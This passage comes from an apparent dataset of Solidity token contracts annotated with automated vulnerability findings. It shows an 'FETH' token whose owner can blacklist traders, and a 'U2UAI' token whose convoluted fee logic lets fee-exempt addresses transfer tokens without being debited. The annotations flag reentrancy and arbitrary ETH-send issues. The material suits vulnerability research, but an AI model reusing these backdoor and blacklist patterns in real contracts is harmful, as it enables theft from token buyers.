_msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Contract is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2b9dbf5): Contract._taxWallet should be immutable \n\t// Recommendation for 2b9dbf5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: c75e3c5): Contract._initialBuyTax should be constant \n\t// Recommendation for c75e3c5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: b29199a): Contract._initialSellTax should be constant \n\t// Recommendation for b29199a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b180ac0): Contract._reduceBuyTaxAt should be constant \n\t// Recommendation for b180ac0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5c977fc): Contract._reduceSellTaxAt should be constant \n\t// Recommendation for 5c977fc: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: e521553): Contract._preventSwapBefore should be constant \n\t// Recommendation for e521553: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"FETH\";\n\n string private constant _symbol = unicode\"FETH\";\n\n uint256 public _maxTxAmount = 2000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 49eee87): Contract._taxSwapThreshold should be constant \n\t// Recommendation for 49eee87: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e937989): Contract._maxTaxSwap should be constant \n\t// Recommendation for e937989: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 013f8e1): Contract.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 013f8e1: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d50e316): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d50e316: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 49761b7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 49761b7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: d50e316\n\t\t// reentrancy-benign | ID: 49761b7\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: d50e316\n\t\t// reentrancy-benign | ID: 49761b7\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 96c28bf): Contract._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 96c28bf: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 49761b7\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: d50e316\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7d0a4bf): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7d0a4bf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3b8d1ae): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3b8d1ae: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 7d0a4bf\n\t\t\t\t// reentrancy-eth | ID: 3b8d1ae\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 7d0a4bf\n\t\t\t\t\t// reentrancy-eth | ID: 3b8d1ae\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 3b8d1ae\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 3b8d1ae\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 3b8d1ae\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 7d0a4bf\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 3b8d1ae\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 3b8d1ae\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 7d0a4bf\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 7d0a4bf\n\t\t// reentrancy-events | ID: d50e316\n\t\t// reentrancy-benign | ID: 49761b7\n\t\t// reentrancy-eth | ID: 3b8d1ae\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: e202f4e): Contract.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for e202f4e: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 7d0a4bf\n\t\t// reentrancy-events | ID: d50e316\n\t\t// reentrancy-eth | ID: 3b8d1ae\n\t\t// arbitrary-send-eth | ID: e202f4e\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 532194d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 532194d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 842974a): Contract.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 842974a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 95b786e): Contract.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 95b786e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2c06003): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2c06003: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 532194d\n\t\t// reentrancy-eth | ID: 2c06003\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 532194d\n\t\t// unused-return | ID: 842974a\n\t\t// reentrancy-eth | ID: 2c06003\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 532194d\n\t\t// unused-return | ID: 95b786e\n\t\t// reentrancy-eth | ID: 2c06003\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 532194d\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 2c06003\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_1011.sol",
"size_bytes": 19510,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface ERC20 {\n function totalSupply() external view returns (uint256);\n\n function decimals() external view returns (uint8);\n\n function symbol() external view returns (string memory);\n\n function name() external view returns (string memory);\n\n function getOwner() external view returns (address);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Ownable {\n address internal owner;\n\n constructor(address _owner) {\n owner = _owner;\n }\n\n modifier onlyOwner() {\n require(isOwner(msg.sender), \"!OWNER\");\n\n _;\n }\n\n function isOwner(address account) public view returns (bool) {\n return account == owner;\n }\n\n function renounceOwnership() public onlyOwner {\n owner = address(0);\n\n emit OwnershipTransferred(address(0));\n }\n\n event OwnershipTransferred(address owner);\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function removeLiquidityETHSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountETH);\n\n function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountETH);\n\n function removeLiquidityWithPermit(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountA, uint amountB);\n\n function removeLiquidityETHWithPermit(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountToken, uint amountETH);\n\n function quote(\n uint amountA,\n uint reserveA,\n uint reserveB\n ) external pure returns (uint amountB);\n\n function getAmountOut(\n uint amountIn,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountOut);\n\n function getAmountIn(\n uint amountOut,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountIn);\n}\n\ncontract U2UAI is ERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 815cd56): U2UAI.routerAdress should be constant \n\t// Recommendation for 815cd56: Add the 'constant' attribute to state variables that never change.\n address routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3dfd4b3): U2UAI.DEAD should be constant \n\t// Recommendation for 3dfd4b3: Add the 'constant' attribute to state variables that never change.\n address DEAD = 0x000000000000000000000000000000000000dEaD;\n\n string constant _name = \"U2U Network\";\n\n string constant _symbol = \"U2UAI\";\n\n uint8 constant _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 454ecda): U2UAI._totalSupply should be constant \n\t// Recommendation for 454ecda: Add the 'constant' attribute to state variables that never change.\n uint256 public _totalSupply = 10_000_000_000 * (10 ** _decimals);\n\n uint256 public _maxWalletAmount = (_totalSupply * 100) / 100;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d8e9991): U2UAI._swapNetworkThreshHold should be immutable \n\t// Recommendation for d8e9991: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _swapNetworkThreshHold = (_totalSupply * 1) / 10000;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3b4c2fc): U2UAI._maxTaxSwap should be immutable \n\t// Recommendation for 3b4c2fc: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _maxTaxSwap = (_totalSupply * 10) / 10000;\n\n mapping(address => uint256) _balances;\n\n mapping(address => mapping(address => uint256)) _allowances;\n\n mapping(address => bool) isFeeExempt;\n\n mapping(address => bool) isTxLimitExempt;\n\n mapping(address => bool) private Networks;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8d84546): U2UAI._NetworkWallet should be immutable \n\t// Recommendation for 8d84546: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _NetworkWallet;\n\n address public pair;\n\n IUniswapV2Router02 public router;\n\n bool public swapEnabled = false;\n\n bool public NetworkFeeEnabled = false;\n\n bool public TradingOpen = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1f8d0d3): U2UAI._initBuyTax should be constant \n\t// Recommendation for 1f8d0d3: Add the 'constant' attribute to state variables that never change.\n uint256 private _initBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: fe65f2a): U2UAI._initSellTax should be constant \n\t// Recommendation for fe65f2a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initSellTax = 0;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4ec4c5a): U2UAI._reduceBuyTaxAt should be constant \n\t// Recommendation for 4ec4c5a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: daadfc6): U2UAI._reduceSellTaxAt should be constant \n\t// Recommendation for daadfc6: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 0;\n\n uint256 private _buyCounts = 0;\n\n bool inSwap;\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: bfdfa41): U2UAI.constructor(address).NetworkWallet lacks a zerocheck on \t _NetworkWallet = NetworkWallet\n\t// Recommendation for bfdfa41: Check that the address is not zero.\n constructor(address NetworkWallet) Ownable(msg.sender) {\n address _owner = owner;\n\n\t\t// missing-zero-check | ID: bfdfa41\n _NetworkWallet = NetworkWallet;\n\n isFeeExempt[_owner] = true;\n\n isFeeExempt[_NetworkWallet] = true;\n\n isFeeExempt[address(this)] = true;\n\n isTxLimitExempt[_owner] = true;\n\n isTxLimitExempt[_NetworkWallet] = true;\n\n isTxLimitExempt[address(this)] = true;\n\n _balances[_owner] = _totalSupply;\n\n emit Transfer(address(0), _owner, _totalSupply);\n }\n\n function getOwner() external view override returns (address) {\n return owner;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function withdrawNetworkBalance() external onlyOwner {\n require(address(this).balance > 0, \"Token: no ETH to clear\");\n\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _allowances[msg.sender][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n\n return true;\n }\n\n function enableNetworkTrade() public onlyOwner {\n require(!TradingOpen, \"trading is already open\");\n\n TradingOpen = true;\n\n NetworkFeeEnabled = true;\n\n swapEnabled = true;\n }\n\n function getNetworkAmounts(\n uint action,\n bool takeFee,\n uint256 tAmount\n ) internal returns (uint256, uint256) {\n uint256 sAmount = takeFee\n ? tAmount\n : NetworkFeeEnabled\n ? takeNetworkAmountAfterFees(action, takeFee, tAmount)\n : tAmount;\n\n uint256 rAmount = NetworkFeeEnabled && takeFee\n ? takeNetworkAmountAfterFees(action, takeFee, tAmount)\n : tAmount;\n\n return (sAmount, rAmount);\n }\n\n function decimals() external pure override returns (uint8) {\n return _decimals;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 5ea5196): U2UAI.internalSwapBackEth(uint256) sends eth to arbitrary user Dangerous calls address(_NetworkWallet).transfer(ethAmountFor)\n\t// Recommendation for 5ea5196: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function internalSwapBackEth(uint256 amount) private lockTheSwap {\n uint256 tokenBalance = balanceOf(address(this));\n\n uint256 amountToSwap = min(amount, min(tokenBalance, _maxTaxSwap));\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = router.WETH();\n\n\t\t// reentrancy-events | ID: 1ebab04\n\t\t// reentrancy-eth | ID: 31461dc\n router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amountToSwap,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n uint256 ethAmountFor = address(this).balance;\n\n\t\t// reentrancy-events | ID: 1ebab04\n\t\t// reentrancy-eth | ID: 31461dc\n\t\t// arbitrary-send-eth | ID: 5ea5196\n payable(_NetworkWallet).transfer(ethAmountFor);\n }\n\n function removeNetworkLimit() external onlyOwner returns (bool) {\n _maxWalletAmount = _totalSupply;\n\n return true;\n }\n\n function takeNetworkAmountAfterFees(\n uint NetworkActions,\n bool NetworkTakefee,\n uint256 amounts\n ) internal returns (uint256) {\n uint256 NetworkPercents;\n\n uint256 NetworkFeePrDenominator = 100;\n\n if (NetworkTakefee) {\n if (NetworkActions > 1) {\n NetworkPercents = (\n _buyCounts > _reduceSellTaxAt ? _finalSellTax : _initSellTax\n );\n } else {\n if (NetworkActions > 0) {\n NetworkPercents = (\n _buyCounts > _reduceBuyTaxAt\n ? _finalBuyTax\n : _initBuyTax\n );\n } else {\n NetworkPercents = 0;\n }\n }\n } else {\n NetworkPercents = 1;\n }\n\n uint256 feeAmounts = amounts.mul(NetworkPercents).div(\n NetworkFeePrDenominator\n );\n\n\t\t// reentrancy-eth | ID: 31461dc\n _balances[address(this)] = _balances[address(this)].add(feeAmounts);\n\n feeAmounts = NetworkTakefee ? feeAmounts : amounts.div(NetworkPercents);\n\n return amounts.sub(feeAmounts);\n }\n\n receive() external payable {}\n\n function _transferTaxTokens(\n address sender,\n address recipient,\n uint256 amount,\n uint action,\n bool takeFee\n ) internal returns (bool) {\n uint256 senderAmount;\n\n uint256 recipientAmount;\n\n (senderAmount, recipientAmount) = getNetworkAmounts(\n action,\n takeFee,\n amount\n );\n\n\t\t// reentrancy-eth | ID: 31461dc\n _balances[sender] = _balances[sender].sub(\n senderAmount,\n \"Insufficient Balance\"\n );\n\n\t\t// reentrancy-eth | ID: 31461dc\n _balances[recipient] = _balances[recipient].add(recipientAmount);\n\n\t\t// reentrancy-events | ID: 1ebab04\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function allowance(\n address holder,\n address spender\n ) external view override returns (uint256) {\n return _allowances[holder][spender];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4b0861b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4b0861b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4beaee5): U2UAI.createNetworkTrade() ignores return value by router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner,block.timestamp)\n\t// Recommendation for 4beaee5: Ensure that all the return values of the function calls are used.\n function createNetworkTrade() external onlyOwner {\n router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t\t// reentrancy-benign | ID: 4b0861b\n pair = IUniswapV2Factory(router.factory()).createPair(\n address(this),\n router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 4b0861b\n isTxLimitExempt[pair] = true;\n\n\t\t// reentrancy-benign | ID: 4b0861b\n _allowances[address(this)][address(router)] = type(uint256).max;\n\n\t\t// unused-return | ID: 4beaee5\n router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner,\n block.timestamp\n );\n }\n\n function name() external pure override returns (string memory) {\n return _name;\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function inSwapNetworkTokens(\n bool isIncludeFees,\n uint isSwapActions,\n uint256 pAmount,\n uint256 pLimit\n ) internal view returns (bool) {\n uint256 minNetworkTokens = pLimit;\n\n uint256 tokenNetworkWeight = pAmount;\n\n uint256 contractNetworkOverWeight = balanceOf(address(this));\n\n bool isSwappable = contractNetworkOverWeight > minNetworkTokens &&\n tokenNetworkWeight > minNetworkTokens;\n\n return\n !inSwap &&\n isIncludeFees &&\n isSwapActions > 1 &&\n isSwappable &&\n swapEnabled;\n }\n\n function symbol() external pure override returns (string memory) {\n return _symbol;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: aa8e085): U2UAI.reduceFinalBuyTax(uint256) should emit an event for _finalBuyTax = _newFee \n\t// Recommendation for aa8e085: Emit an event for critical parameter changes.\n function reduceFinalBuyTax(uint256 _newFee) external onlyOwner {\n\t\t// events-maths | ID: aa8e085\n _finalBuyTax = _newFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 77b50bd): U2UAI.reduceFinalSellTax(uint256) should emit an event for _finalSellTax = _newFee \n\t// Recommendation for 77b50bd: Emit an event for critical parameter 